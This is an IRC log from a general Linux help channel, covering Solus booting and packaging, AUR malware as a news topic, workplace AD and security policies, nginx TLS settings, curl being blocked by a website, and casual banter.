triceratux> Psi-Jack: so did various folks in the blogs. can you share a grub2 stanza ? i cant get it right & im sick of the segfaults 16:34 < BluesKaj> Psi-Jack, ok, looking forward to trying Solus, due to it's non-derivative nature. 16:34 < Psi-Jack> triceratux: That I can. 16:34 < Psi-Jack> BluesKaj: Try it out in a VM. :) 16:34 < searedvandal> freelancerbob, according to superuser 2 "is the number of pieces of information returned including the meta information." 16:34 < vk501> post-factum: Yes, I added it, no errors 16:34 < post-factum> vk501: did you check /proc/cmdline? 16:34 < searedvandal> freelancerbob, https://superuser.com/questions/763536/what-does-ldapsearch-response-mean 16:34 < post-factum> was it added for sure? 16:35 < BluesKaj> not a vm fan Psi-Jack , never had much luck with them ...always something major that doesn't work 16:35 < freelancerbob> searedvandal: number of pieces of information ?? do not understand 16:35 < triceratux> BluesKaj: they all suck except for qemu-kvm 16:35 < vk501> post-factum: Says "idle=nomwait quiet" in the end 16:36 < Psi-Jack> triceratux: https://paste.linux-help.org/view/f6fe5c2e 16:36 < triceratux> much appreciated :) 16:36 < post-factum> vk501: ye, ok 16:39 < vk501> post-factum: Thanks for taking your time to teach me little about grub. 16:40 < post-factum> no worries, good luck with that 16:40 < triceratux> Psi-Jack: mine looks exactly like that & its finding the kernel & initrd in the iso. quite a mystery why its not picking up the squashfs. ill have to compare it painstakingly to yours. wish it was just casper ;) 16:41 < Psi-Jack> triceratux: Yep. I've installed Solus from mutliple systems with this. UEFI and Legacy BIOS. 16:42 < triceratux> Psi-Jack: i installed mc while it was booted in kvm. it brought down glibc & gcc as dependencies. quite a unique approach to libraries 16:44 < Psi-Jack> triceratux: Eh? 16:44 < audiofile> hi jim 16:46 < triceratux> Psi-Jack: thats why i want to get a better look at it outside of a vm. looks like it can be pretty solid & manageable 16:46 < searedvandal> its pretty alright 16:46 < Psi-Jack> Yeah. Definitely is. The solbuild package building system is also well thought out. Every build is done in a controlled very careful chroot system. :) 16:46 < Psi-Jack> Extremely well thought out. :) 16:50 < Dan39> Psi-Jack: don't a lot of package systems use chroot for building? 16:51 < Psi-Jack> Dan39: They /can/, do they, not always. 16:51 < Psi-Jack> Solus's solbuild does that mandatory. 16:52 < Psi-Jack> Insuring that everything is built and metadata matches what's actually needed for dependancies and build time requirements. :) 16:54 < pingfloyd> what you think of the malware in arch linux repository? 16:55 < searedvandal> poorly executed 16:55 < pingfloyd> make me think of mint 16:55 < searedvandal> if it's the aur thing you're talking about 16:57 < searedvandal> and with almost 48k packages in the AUR, there surely must be more that's on the shadier side 16:58 < pingfloyd> I'm surprised it doesn't happen more 16:58 < pingfloyd> there's also plenty of users that use aur helpers 16:59 < Psi-Jack> Heh, yeah. 16:59 < Psi-Jack> I still think it's funny that the xeactor guy's second script was totally funk. 16:59 < searedvandal> nothing wrong in using a helper, as long as one does due diligence first 17:00 < searedvandal> some bored kid that adopted some orphans probably 17:00 < pingfloyd> running makepkg is the easy part. It's checking the pkgbuild and any patches that takes time and attention. 17:00 < Psi-Jack> searedvandal: Well, most helpers do bad things. heh 17:00 < pingfloyd> let's be real, those that run helpers don't check all that first 17:00 < orbisvicis> does doxygen require compiled c code to generate documetnation ? 17:00 < searedvandal> I run a helper at times 17:01 < searedvandal> Psi-Jack, how so? 17:01 < Psi-Jack> searedvandal: They manually set packages "status" different ways that breaks arch standards, making removing orphans impossible reliably. 17:01 < NoirX> hello all 17:02 < searedvandal> Psi-Jack, I c 17:02 < searedvandal> I see* 17:02 < Psi-Jack> searedvandal: What about C? ;) 17:02 < NoirX> i just got my new fresh installed mint laptop, i dont know the root password, any help 17:02 < searedvandal> slip of the keys. apologize for that Psi-Jack :) 17:02 * Psi-Jack smacks a wooden ruler on the knuckles of searedvandal's hands. :) 17:03 < searedvandal> Psi-Jack, thanks. that should help :) anyways, when it comes to helpers I got aurman installed just for whenever I feel lazy 17:04 < pingfloyd> you shouldn't be lazy with using aur as this should be a reminder about 17:04 < searedvandal> my system, I can be as lazy as I want :) 17:04 < pingfloyd> I understand the need to not have to spend so much energy and time though 17:04 < Psi-Jack> searedvandal: Hmmm... Nope. Not a good one. 17:05 < searedvandal> Psi-Jack, ok :) 17:05 < Dan39> Psi-Jack: jesus who at solus gave you a reach around? :p 17:05 < pingfloyd> a good one what? excuse? 17:06 < Psi-Jack> Dan39: Excuse me? 17:06 < pingfloyd> Dan39: you got a problem with reach arounds? 17:07 < searedvandal> Dan39 have no issues with that 17:08 < Dan39> how does this eopkg compare to pacman? 17:09 < Dan39> love me some PKGBUILDs :D 17:09 < pingfloyd> does pacman give the reach around? 17:10 < Dan39> all the damn time 17:11 < Dan39> unlike apt which usually just headbutts me and runs away 17:11 < pingfloyd> at least you don't get stuck with orphans with it 17:12 < nchambers> just kill the orphans 17:12 < searedvandal> that's not very nice 17:13 < Psi-Jack> Dan39: eopkg is alright. It lacks one thing I wish it had which is the ability to search for packages (installed or not) which provides a file, similar to "yum provides 'criteria'", or apt-file, etc. 17:13 < Dan39> right 17:13 < Psi-Jack> Beyond that, it's also more plain English. 17:13 < Dan39> i'll have to try it out 17:13 < Psi-Jack> eopkg install, or eopkg it, to install something. 17:13 < searedvandal> Dan39, solus uses yaml build files. pretty neat 17:14 < Psi-Jack> eopkg list-installed or eopkg li, to slow everything that's installed. 17:14 < storge> does solus use systemd 17:14 < Psi-Jack> storge: Yes. 17:14 < Dan39> anything should be easier than dpkg source packages 17:14 < storge> does solus make it mandatory to use systemd 17:14 < pingfloyd> solus just lost some stock 17:14 < Psi-Jack> storge: Yes. 17:15 * storge scratches it off the list 17:15 < Psi-Jack> Keep hatin systemd, be left in the dark ages. :) 17:15 < storge> i liked every single other thing i heard 17:15 < Dan39> i need to try doing rpms from scratch some time soon. ill admit i've done PKGBUILDs and the deb source packages, but never rpm 17:15 < Psi-Jack> Dan39: rpm is pretty nice. :) 17:15 < dgurney> technically speaking, it's not mandatory to use systemd on any distro. it will just be a ton of work to maintain a system like that 17:16 < Dan39> PKGBUILDs were freakin amazing after looking at deb source packages 17:16 < Psi-Jack> Dan39: Debian's got the /worst/ package definition methods of them all. 17:16 < Psi-Jack> It's one of the biggest reasons I hate Debian. 17:17 < Dan39> i'm assuming after doing it a few times it becomes easier, but i so rarely do them that it never does 17:17 < Psi-Jack> On Fedora, or CentOS, if you so much as simply vim a new non-existing filename.spec, it will provide you a very handy template to start with. 17:17 < Psi-Jack> Dan39: Sure. It gets "easier" but remains a total PITA. 17:18 < samgoody> Hi all. I am getting a message that "sudo: unable to fork: Cannot allocate memory" 17:18 < samgoody> on everything I run. 17:18 < samgoody> But when I run htop it shows that I have plenty of memory 17:18 < dgurney> did you reboot yet? 17:18 < Psi-Jack> samgoody: Download more RAM? Use an uncompromised sudo binary? 17:18 < Dan39> checkinstall was nice though and even let me specify depends/conflicts n stuff 17:19 < BluesKaj> Psi-Jack, installed solus on the laptop, looking good except I hate the default desktop image..gonna change that as soon as the system finishes updating 17:19 < Dan39> haven't used it in years though 17:19 < Dan39> complaining about the default desktop image? -__ 17:19 * Dan39 scratches BluesKaj's opinion off the list 17:19 < triceratux> solus must be doing something right if theyre in the distrowatch top 10 17:19 < Dan39> :P 17:19 < Psi-Jack> BluesKaj: Hehe. Desktop images are hate it or love it. But the ones they provide are pretty decent, and custom made. 17:19 * triceratux is giving the distro every chance he can 17:20 < Psi-Jack> triceratux: Yeah. And only being a few years old. 17:20 < Dan39> ok really have to get back to work, before supervisor gets back from meeting haha 17:20 < pingfloyd> you supervisor sounds like a task master 17:21 < samgoody> Rebooted, it didnt help. And it shows plenty of RAM, in htop by Mem, it says 2.58G/15.6G 17:21 < pingfloyd> samgoody: is your system compromised? 17:22 < section1> samgoody, or you play with ulimit? 17:22 < Dan39> solus's website immediately puts me off though. trying to be too modern flash apple-like for an honest linux distro... :P 17:22 < samgoody> No [or at least, I have no reason to think it has been compromised], but it is a server. 17:23 < Psi-Jack> samgoody: is it just with sudo? 17:23 < samgoody> That is, a rented virtual server, on the host tmzvps.com 17:23 < dgurney> Dan39, that is how you attract regular users 17:23 < samgoody> no, sorry, it is with all commands, not jut sudo 17:23 < Psi-Jack> Contact them for support. 17:23 < Dan39> dgurney: probably true, but not how you attrack me :P 17:24 < pingfloyd> define regular linux user 17:24 < samgoody> OK, I wasn't sure if this was something that should be obvious to anyone with experience. 17:24 < samgoody> Thank you very much 17:24 < Psi-Jack> samgoody: sounds like a hosting issue or you have bigger problems. 17:27 < zetheroo> I'm just wondering to get some feedback from sysadmins out there who have experience dealing with employees (especially developers) who have this mindset of coming to the company and being able to to pick whatever OS they want to use and basically being treated as exceptions to the security policies etc ... 17:27 < samgoody> Yup, I see it is a hosting issue. When I log into the control panel on thier site, it says that I have 0 of 0 mb memory available.... 17:28 < zetheroo> I don't have a lot of experience in other companies dealing with these types, and I wonder if that's the norm, or what? 17:28 < samgoody> I am pretty sure that my hosting plan should have more than 0MB of memory included ;D 17:28 < dgurney> pingfloyd: I didn't specify an OS. I meant regular people who may not be very familiar with Linux, but interested in trying it (perhaps a Windows user). for attracting those people to a particular distro, the website for it needs to look decent 17:28 < Psi-Jack> samgoody: Heh, exactly. 17:28 < triceratux> rofl the dedoimedo guy says maybe not "Such a missed opportunity ... this one is a no-go. I would also have to advise you to be careful with your own testing, as you may not be savvy enough in how to recover from failed boots. Be warned." https://www.dedoimedo.com/computers/solus-1-2-review.html 17:29 < pingfloyd> triceratux: sounds great for regular users 17:29 < triceratux> there are other options 17:29 < Psi-Jack> zetheroo: It is the norm, being able to choose what OS to use that is. To some extent anyway. Some companies will issue out Mac Pros or MacBooKPro's for their employees, and those would expect you to, of course, use macOS with it. 17:29 < Nexilva> Well, ##windows is a useless channel. Ridiculous. Not going into it other than expressing my distaste for imbeciles. 17:30 < pingfloyd> wtf is goofiboot? 17:30 < pingfloyd> that doesn't sound so good 17:30 < dgurney> also that review is from 2016 17:30 < Nexilva> I went to ask about having windows dual booted, talking about using gnu32 and other open source stuff on windows, and the op goes, Im about to queit you, you can't talk abotu open soruce, its not microsoft... 17:30 < Nexilva> Made me laugh, so hard. 17:31 < section1> lol 17:31 < pingfloyd> Nexilva: classic ##windows 17:31 < Psi-Jack> Nexilva: We try not to bring other channel nonsense here. 17:31 < Nexilva> you're right, they are nonsense. 17:31 < Nexilva> Literally. That made zero sense whatsoever. 17:31 < zetheroo> Psi-Jack: We offer the choice of Windows, Ubuntu or OS X (the latter in only certain cases). But a couple of our devs are acting like this is unacceptable - they want to use whatever Linux distro they want ... and don't want to have to authenticate to AD etc .. 17:32 < Psi-Jack> Or rather more general, other channel problems overall. :) 17:32 < dgurney> well, it is ##windows, so it's understandable that they may limit discussion to Windows-related stuff 17:32 < triceratux> dgurney: thats just a data point. i can make up my own mind. but it does give you some idea of how a reasonably capable user can feel when interacting with the project. that hasnt changed much 17:32 < Nexilva> triceratux: hey bro :) 17:32 < prussian> using free software on windows I imagine is windows related... 17:32 < Nexilva> triceratux: so Lubuntu lxqt failed to install after 60%, some apt/bash script bug, can't continue install 17:32 < Nexilva> prussian: apparently not. I was told specifically, it's not "Microsoft" related. 17:33 < zetheroo> Psi-Jack: It's like everyone else in the company (mostly Windows users) have no problem with the policies, but the Linux users ... almost half of the time are balking against something which nobody else takes issue with :/ 17:33 < prussian> I see 17:33 < Nexilva> They shoudl call it ##microsoft instead of ##windows. 17:33 < dgurney> so that's their channel rule then 17:33 < dgurney> fair enough 17:33 < Nexilva> *shrug* 17:33 < triceratux> Nexilva: oh well. thats why i dont run installers. back to bodhi :) 17:33 < Psi-Jack> zetheroo: Like? 17:33 < Nexilva> I don't care. I don't want to be among imbeciles. 17:33 < Nexilva> You are the company you keep. 17:33 < Nexilva> i'd rather stay here. 17:33 < prussian> the only issue i take with windows stuff is when office365 decides not to offer a SSO challenge unless your user agent is like windows 10 17:33 < pingfloyd> prussian: you forget Bill's open letter to hobbyists 17:33 < Psi-Jack> Nexilva: Well, Microsoft makes open source software. VScode, being one of them. :) 17:34 < Nexilva> I know! 17:34 < Nexilva> That's why it made me laugh. I just didn't evne argue with them. I just left. 17:34 < Nexilva> Heh. 17:34 < BluesKaj> classic media player is another 17:34 < prussian> pingfloyd: that's a shame an os channel could be so antifreedoms 17:34 < pingfloyd> Nexilva: they should name it #microshill 17:34 < zetheroo> Psi-Jack: Like authenticating to AD to access network shares, using AD logins, sysadmins having access to their systems (like we do for all users regardless of their OS) ... 17:34 < Nexilva> triceratux: well, I am going with debian testing/buster with firmware installer iso netinst 17:34 < Nexilva> triceratux: about to install windows 7 first, incase a family membr neesd to use my lappy 17:35 < prussian> MS <3 Linux, or so Microsoft Azure people tell me 17:35 < Nexilva> then after that debian 17:35 < dviola> prussian: they <3 money, Linux makes them money 17:35 < pingfloyd> Nexilva: you generally should use the stable installer and then dist-upgrade to testing 17:35 < dgurney> why would you ever lend your laptop to anyone 17:35 < Nexilva> I compressed/back up my ~/ to usb, 5 gb total, mosst of the space is taken my .nvm and .npm packages, Ididn't realize. I should have removed that. 17:35 < SuperSeriousCat> No need to waste a partition for that, Nexilva. Just use QEMU/KVM for your family members 17:35 < royal_screwup21> I'm running a programs that's returning a deluge of errors. I want to find a specific keyword in the traceback. How do I accomplish this? 17:35 < Psi-Jack> zetheroo: Yeah. When you allow the choice, you have to either be open to whatever they choose to do, or setup policies that they have to abide by in order to use what they want. :) 17:36 < Nexilva> SuperSeriousCat: intresting. 17:36 < prussian> I guess. one Azure dev I know uses Arch to do her development for there 17:36 < zetheroo> Psi-Jack: One of them literally is telling me that Linux users should be 'every user for themselves' - as in screw company policy, 'cause we are Linux users :P 17:36 < Nexilva> I suppose I coudl virtualize windows instead of native. 17:36 < triceratux> Nexilva: interesting about the lubuntu 18.10 installer. considering its pre-beta they may not even start noticing its dysfunctional until after the release 17:36 < kopper> Nexilva: To me your adventure on ##windows looked a bit like you overreacting 17:36 < Psi-Jack> zetheroo: The requirement of logging into AD, and granting sysadmins access, has never been in my experience, done. 17:36 < Nexilva> kopper: uh, you can't hold responsible one party. It takes two to tango. you can't clap with one hand. 17:36 < prussian> not like linux can't be joined to an AD 17:37 < Nexilva> You could, but you'd look silly! :D 17:37 < kopper> Nexilva: Whatever you say 17:37 < Psi-Jack> prussian: Well, I mean... It sorta can. It's a PITA to do still even today, but it /can/ be done. :) 17:37 < zetheroo> prussian: it can be - look up PBIS 17:37 < Nexilva> every reaction is equal to the action that genrated it. it's a law of nature 17:37 < prussian> IdM exists as well for linux specific stuff 17:37 < Nexilva> so the term 'over' reaction is just silly at best. 17:38 < Nexilva> Unless you also use over'action'. 17:38 < zetheroo> Psi-Jack: We have an internal Ubuntu image which I create and deploy - comes with everything pre-setup and ready to roll. 17:38 < prussian> i'm not joined to ad at work. I do use kerberos for SSO though. 17:38 < Psi-Jack> Ewwwwbuntu. 17:38 < prussian> and smb... etc 17:39 < Nexilva> https://gist.github.com/kuznero/9eb62f6f0612a32d9c4446a4f1f4cf74 this is useful. 17:39 < Psi-Jack> Granted, where I work, I am the system admin/engineer. Not IT support. IT support is specifically forbidden from server/NOC stuff. :) 17:39 < Nexilva> http://www.webupd8.org/2016/06/make-bootable-windows-10-usb-install.html and this linux software to make bootable windows usb. 17:40 < Psi-Jack> But my company, save for NOC, is required to sadly run Windows. Everyone in NOC, runs Linux. :) 17:40 < zetheroo> Psi-Jack: wen you said that 'granting sysadmins access, has never been in my experience, done.' ... were the Linux PC's managed at all by IT? or was it every user for themselves? 17:40 < gkwhc1> hey guys, anyone use terminal with fake transparency? i tried out urxvt with fake transparency but whenever i move the window around, there is a delay in rendering the background/transparenc 17:40 < prussian> ? just make a fat32 formatted usb, mark it as an ESP and copy pasta the iso contents onto usb... 17:40 < Psi-Jack> zetheroo: Every user for themselves. 17:40 < Nexilva> gkwhc1: not on my end. I use it exclusively 17:40 < prussian> only doesn't workf ro windows server as it has archives larger than 4GiB 17:40 < Nexilva> I can termbin my Xresoruoces for you 17:40 < Nexilva> hang on 17:40 < zetheroo> Psi-Jack: so how do you enforce security? 17:41 < Psi-Jack> zetheroo: Depends on what you're "securing" 17:41 < zetheroo> Psi-Jack: data 17:41 < Psi-Jack> zetheroo: Data of what? 17:41 < Nexilva> http://termbin.com/1atwm <- Xresources with urxvt transparency 17:41 < Nexilva> I have a 10 year old laptop, no compiz or glx type stuff and it renders fast, very fast. 17:41 < zetheroo> Psi-Jack: RnD, internal confidential data 17:41 < Nexilva> Then again, I don't move windows, I use Xmoand, tiling wm 17:41 < prussian> you secure them by enslaving their machines to AD using one of the various redhat or not redhat vendor solutions. 17:41 < Psi-Jack> zetheroo: Set a policy that requires LUKS FDE to be used. Covers that. :) 17:41 < pingfloyd> zetheroo: soon they'll be burning an effigy of you 17:42 < zetheroo> Psi-Jack: Some of it in relation to government projects 17:42 < zetheroo> Psi-Jack: it's on the network 17:42 < Psi-Jack> zetheroo: And? 17:42 < poopBot> hi anyone know any simples music player that can go in trey on LXQT 17:42 < zetheroo> Psi-Jack: my Linux image already is with LUKS/FDE 17:42 < Psi-Jack> But it's ewwwwbuntu. 17:43 < prussian> lol 17:43 < pingfloyd> being the government, they probably still use telnet 17:43 < section1> poopBot, try audacious 17:43 < section1> not sure about lxqt but in kde its in the tray 17:43 < pingfloyd> forcing ubuntu on your users is cruel 17:43 < Psi-Jack> ^ +1 17:43 < pingfloyd> I don't blame them for starting a rebellion 17:44 < prussian> honestly, just restricting root is all you need to do. you could do everything else automatically using whatever vendor or hand rolled solution 17:44 < Psi-Jack> Ubuntu... Like getting slapped in the face and shot up with a shotgun. 17:44 < zetheroo> Psi-Jack: Well ... we have an office with people coming in and out. The data is on the network. I can walk into the office, hook up a laptop in an office to the ethernet, and download the data off the shares ... unless they are secured ... which is done with centrally-managed authentication (currently AD). 17:44 < pingfloyd> it's like having the tools in your tools box swapped with fisher price toy tools behind your back 17:45 < pingfloyd> I'd be pissed too 17:45 < trobotham> zetheroo: why not 802.1x? 17:45 < Psi-Jack> zetheroo: So, make then authenticate. 17:45 < prussian> problem: solved 17:45 < Psi-Jack> In regards to getting /access to/,the data. 17:45 < zetheroo> trobotham: one day 17:45 < searedvandal> zetheroo, if you're gonna store government data, you better look up whatever regulations they have for storage of their information in nonfederal systems 17:45 < pingfloyd> it's like someone not having the courtesy to give you the reach around 17:45 < zetheroo> Psi-Jack: that's what we are doing :D 17:45 < Psi-Jack> zetheroo: Authenticating doesn't mean they have to login to their own laptops with that, but to the server providing the share. 17:46 < Psi-Jack> Lotta talk about reach-arounds this morning. 17:46 < searedvandal> must be something in the air 17:46 < royal_screwup21> when you hit man , the terminal changes into a new interactive vim-like session. What is the term for this session? 17:46 < trobotham> you mean a pager? 17:46 < trobotham> less? 17:47 < djph> a pager 17:47 < royal_screwup21> thanks! "less" is what I wish looking for 17:47 < royal_screwup21> was* 17:47 < Psi-Jack> PAGER 17:47 < Psi-Jack> To be more specific. :) 17:47 < trobotham> royal_screwup21: pager is the term less is the program 17:48 < pingfloyd> pager is what less is 17:48 < pingfloyd> the kind of program 17:48 < pingfloyd> there's of course other less and more sophisticated pagers such as more and most 17:48 < Psi-Jack> Are you feeling dizzy from being spun around? 17:48 < Nexilva> woeusb is so easy omg! 17:48 < pingfloyd> less is more though 17:48 < Psi-Jack> most is more than less. :) 17:49 < Nexilva> in case anyone cares: woeusb --device Win7_Ult_SP1_English_x64.iso /dev/sdb 17:49 < pingfloyd> most is most 17:49 < Nexilva> Wham! Bam! Thank you man. 17:49 < Nexilva> No whamming. No bammin'. No thankin' the ma'am. 17:49 < Psi-Jack> No thank you Windows. 17:49 < pingfloyd> woman, whoaaaaa man! 17:49 < Nexilva> just in casey I needy 17:49 < Psi-Jack> You never need it. 17:49 < Nexilva> Family. 17:50 < Nexilva> They are linux challenged. 17:50 < Psi-Jack> Give them Linux. 17:50 < Nexilva> Eh. Mum's like 70, she can't learn linux now. 17:50 < Psi-Jack> Hey, I had my neophyte wife running Linux. 17:50 < pingfloyd> woeusb? 17:50 < Psi-Jack> She used it without issue. 17:50 < Nexilva> *nod* 17:50 < Nexilva> Mom's already having memory issues. 17:50 < Nexilva> I always worry. 17:50 < gr1sha> I'm working in an env where I / is readonly and I only have the ability to read/write in a specific path. I compiled Dropbear (instead of OpenSSH, because I have low memory and weak CPU) and I am able to connect to the machine with SSH. I want to be able to use SCP as well but the problem is that /bin/cp does not exist, and I cannot create a symlink to the cp I have in my writeable path, since /bin is a part of the readonly fs. 17:50 < gr1sha> thoughts? 17:50 < pingfloyd> let mom forget about Windows 17:51 < Psi-Jack> zetheroo: So, I'm not currently seeing the real issue. :) 17:51 < pingfloyd> problem solved 17:51 < Nexilva> I bought her a macbook. 17:51 < pingfloyd> elegantly 17:51 < Nexilva> Don't kill me. 17:51 < zetheroo> bbs 17:51 < Nexilva> :) 17:51 < pingfloyd> let mom forget about macos too 17:51 < Psi-Jack> Nexilva: I bought my wife an iMac. 17:51 < Nexilva> pingfloyd: yes, woeusb, winusb fork 17:52 < trobotham> gr1sha: bind mount? 17:52 < Nexilva> https://github.com/slacka/WoeUSB 17:52 < streuner> should I get rid of TLSv1.1 in nginx conf? 17:52 < gr1sha> trobotham: that might work, lemme try :) 17:52 < Nexilva> streuner: why?, 1.3 is new? 17:52 < Nexilva> I forgot. Been a while. 17:52 < Nexilva> I use nginx btw 17:53 < Nexilva> yeah, disable any that you don't use, most browsers are 1.3 capable now 17:53 < Nexilva> I can paste you my config, so you can see the ciphers and ssl config optinos 17:53 < Nexilva> if you want. 17:53 < streuner> Nexilva, is TLSv1.1 unsafe? 17:53 < Nexilva> yes 17:53 < Nexilva> some serious exploits. 17:53 < Nexilva> iirc. came out a while ago 17:53 < Nexilva> hang on 17:54 < trobotham> streuner: POODLE 17:54 < Nexilva> streuner: http://paste.debian.net/plain/1033124 <- oh crap! 17:54 < Nexilva> I have 1 and 1.1 and 1.2 enabled. 17:55 < Nexilva> I have to reupdate my configs. 17:55 < Nexilva> eek! 17:56 < Nexilva> So, in that sense, TLS 1.1 and 1.2 are more secure than TLS 1.0, since they are easier to implement securely. The so-called "heartbleed" is not a protocol flaw; it is an implementation bug that is present in some OpenSSL versions (OpenSSL is a widespread implementation of SSL/TLS, but certainly not the only one). 17:56 < Nexilva> copy pasta. 17:56 < Nexilva> let me see poodle. 17:56 < streuner> should i use modern or intermediate profile? 17:56 < Nexilva> https://access.redhat.com/solutions/1232413 17:57 < Nexilva> To avoid this vulnerability, Red Hat recommends disabling SSL and using only TLSv1.1 or TLSv1.2. 17:57 < Nexilva> Ah. 1.1 is fine it seems 17:57 < Nexilva> I would double check with ##security 17:57 < Nexilva> and also ##crypto maybe 17:57 < section1> yeah 17:57 < Nexilva> I should siable 1.0 17:57 < Nexilva> disable* 17:58 < SuperSeriousCat> Whats your budget on new "Enter" buttons, Nexilva? 17:58 < section1> some devices maybe need tls 1.0 17:58 < section1> old devices. 17:58 < Psi-Jack> heh 17:58 < Nexilva> SuperSeriousCat: haha, dork. 17:58 < Psi-Jack> SuperSeriousCat++ 17:58 < Nexilva> Very low, man. I'm a poor man, struggling. 17:58 < bittin_> good man Mozilla inviting me to a meeting i am not allowed to watch :D 17:58 < pingfloyd> bittin_: what? 17:59 < Psi-Jack> Nexilva: Seriously, though. he's talking about how often you keep hitting it, for every pause in thought, for even most punctuation it seems. When I look in the channel after looking away, I see 90% you, 17:59 < Nexilva> Well. Sometimes I type really long lines and sometimes short ones, many of them. It depends on the thought process. 17:59 < Psi-Jack> Perhaps fix that. :) 17:59 < bittin_> pingfloyd: got invited to a meeting you could only watch with NDA but my NDA has expired :P 18:00 < Nexilva> Nothing is broken. Nothing needs fixing. Depends on how ... erratic the movement of 'thought' is. 18:00 < Nexilva> One cannot control 'thought'. It does what it does. Neurology and psychology fact. 18:00 < Psi-Jack> Nexilva: 2 people have noticed that have spoken up. 18:00 < Nexilva> *shrug* 18:02 < pingfloyd> ain't no lecture like an irc lecture, because an irc lecture don't stop. 18:03 < Nexilva> Lect means to 'read'. IRC is about reading. It's all a lect... ure. 18:03 < pankaj_> Well, I love youtube-dl for downloading vidoes. But is their any tool or any way to download linux study materials i.e. videos (usually paid) from websites like udemy, treehouse etc? 18:03 < Psi-Jack> Yay, Solus updates now include stuff I've done for Solus. :) 18:03 < pingfloyd> Nexilva: dictionary would disagree 18:04 < searedvandal> pankaj_, if they offer download after you've paid for a course, sure. 18:04 < Nexilva> pingfloyd: lectura, from Latin, where 'Lect' means 'read' or 'to read'. Archaic verb: Legere. 18:04 < Nexilva> pingfloyd: modern English is severely broken. 18:04 < pingfloyd> "a discourse given before an audience or class especially for instruction" 18:04 < premoboss> hello people, dmeg give me error during boot, in eth0 configuration. cn i pastye here the dmes? it is just 4 lines of text. 18:04 < premoboss> can i paste? 18:04 < Psi-Jack> Nexilva: No, Modern English is quite not broken. It's people that just are lazy. 18:05 < SuperSeriousCat> There is a paste link in /topic 18:05 < pingfloyd> premoboss: use a paste site 18:05 < premoboss> Superman, thanks i do 18:05 < Nexilva> Psi-Jack: perhaps you are right in that. 18:05 < Psi-Jack> Nexilva: Of this, I am certainly right. 18:05 < Nexilva> Language is the only tool we have to offer our minds and thoughts to another. It's important to use is correctly. 18:05 < Nexilva> it* 18:06 < premoboss> https://pastebin.com/03JygpAB here it is, if someone can help me to solve, thanks. 18:06 < Nexilva> Ok, so now the question is whether I should virtualize windows or dual boot. 18:07 < pingfloyd> only dual boot if your cpu has crappy hardware virtualization 18:07 < pingfloyd> otherwise, why put yourself through that inconvenience? 18:08 < poopBot> hmm audcious dosent minimze to try too 18:08 < Nexilva> Version: Intel(R) Core(TM) i3-3110M CPU @ 2.40GHz 18:08 < Nexilva> vt-x only 18:08 < pingfloyd> do you have vt-d? 18:08 < Nexilva> I don't think so. 18:08 < Nexilva> IIRC in bios, vtx only. 18:08 < pingfloyd> vt-x is enough reason to virtualize it 18:09 < Nexilva> https://ark.intel.com/products/65700/Intel-Core-i3-3110M-Processor-3M-Cache-2_40-GHz 18:09 < pingfloyd> ark has been wrong about specs 18:09 < pingfloyd> it was wrong about a cpu I owned before 18:10 < Nexilva> yeah, vtd no. 18:10 < Nexilva> What's the diff in x vs. d? 18:10 < Nexilva> i/o virt? pci passthrough? 18:11 < Nexilva> Ah, directed i/o. Yup. No passthrough. 18:12 < pankaj_> searedvandal: Is their any trick you know of? 18:13 < epitamizor> what switch for netstat shows process associated with it 18:14 < Nexilva> Ok, screw it, I'll go install debian/testing w/ firmware iso. See ya. 18:14 < Nexilva> epitamizor: netstat -tupln ? 18:14 < Nexilva> Maybe? 18:14 < Nexilva> yup, that's it. 18:14 < pingfloyd> check with virt-host-validate 18:15 < epitamizor> Nexilva, cool thx 18:15 < Nexilva> yup 18:18 < searedvandal> pankaj_, pay for the courses you want 18:20 < eset> someone useses GCP ? 18:20 < _AxS_> hey all. I've got an intel ISM raid on this linux box, that kicked out one drive (i think due to physical jostling when the server was moved, after drive was re-seated it passed all tests): 18:21 < _AxS_> mdadm shows the imsm container has all three drives active and working, but the raid member only has two. I can't figure out or find instructions on how to re-add the missing drive to the raid member. Anyone happen to know? 18:22 < _AxS_> (mdadm --manage --re-add /dev/md/RaidVol0 /dev/sdc ..is what I'd think it should be, but that errors out saying the drive needs to be added to the container, not the member. but its in the container.) 18:22 < epitamizor> anyone use snapd? https://wiki.archlinux.org/index.php/Snapd is this something worth downloading? 18:22 < pokmo> i'm not sure if it's just me, but 'curl https://www.zomato.com' times out. it works fine in a browser though 18:22 < pokmo> does it happen to anyone else? 18:23 < _AxS_> pokmo: times out here as well, curl and wget both. 18:24 < pokmo> yeah, wget and curl both fail 18:24 < akk> pokmo: I get, "

Access Denied

You don't have permission to access "http://www.zomato.com/" on this server. 18:24 < pokmo> i wonder if they've got a firewall that checks the user agent? 18:24 < pokmo> akk curl gives me curl: (56) SSLRead() return error -9806 18:24 < _AxS_> could be. or the web server itself 18:25 < akk> Try spoofing the user-agent. I have to do that on a lot of sites. 18:25 < pokmo> curl -A "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5" https://www.zomato.com/ gives me Access Denied 18:26 < vimrc> Does anyone want to help me compose a poem on pacman? 18:27 < pokmo> i wonder what else it checks 18:27 < vimrc> Oh pacman, you've always had my back, man! 18:28 < _AxS_> epitamizor: you'd likely have better luch asking in an arch channel, since i think snapd is for arch packages? 18:29 < akk> Run sudo pacman / Packages in the thousands / Waiting just for you 18:29 < vimrc> :P 18:29 < vimrc> bonus points for a rhyme scheme xD 18:33 < pingfloyd> vimrc: someone already beat you to it :P https://www.youtube.com/watch?v=1jFIYViVOQo 18:33 < vimrc> oh that pacman 18:33 < vimrc> I meant arch's pacman :P 18:33 < vimrc> xD 18:33 < vimrc> hmm nice jam 18:35 < sadasaulna> heh folks, sup? 18:35 < sadasaulna> just spent all day recovering my system from a botched rm -rf ... :( 18:36 < rypervenche> Can someone help me parse this? I'm trying to understand the 3 here: open("/path/to/file", O_RDWR|O_CREAT|O_EXCL, 0444) = 3 18:36 < Psi-Jack> sadasaulna: don't do that again. Lol 18:36 < pingfloyd> sadasaulna: fun 18:37 < rypervenche> Any hints as to where I can find help on this would be appreciated. I've looked in open(2) and open(3), but can't find any information on the final number. 18:37 < bittin_> https://i.imgur.com/l0uY4D1.png 18:37 < bls> rypervenche: the final number is the file descriptor ID, aka the return code from open 18:38 < rypervenche> bls: So it's creating a file then with 0444 permissions? 18:38 < searedvandal> _AxS_, snapd isn't specific to arch. epitamizor, I've used snapd. It's alright. works pretty well 18:39 < bls> yes 18:39 < sadasaulna> Psi-Jack: yep I need to remember when deleting a chroot that I still had the bind mounts ... oops :( 18:39 < sadasaulna> on the other front, i installed Solus which should make is 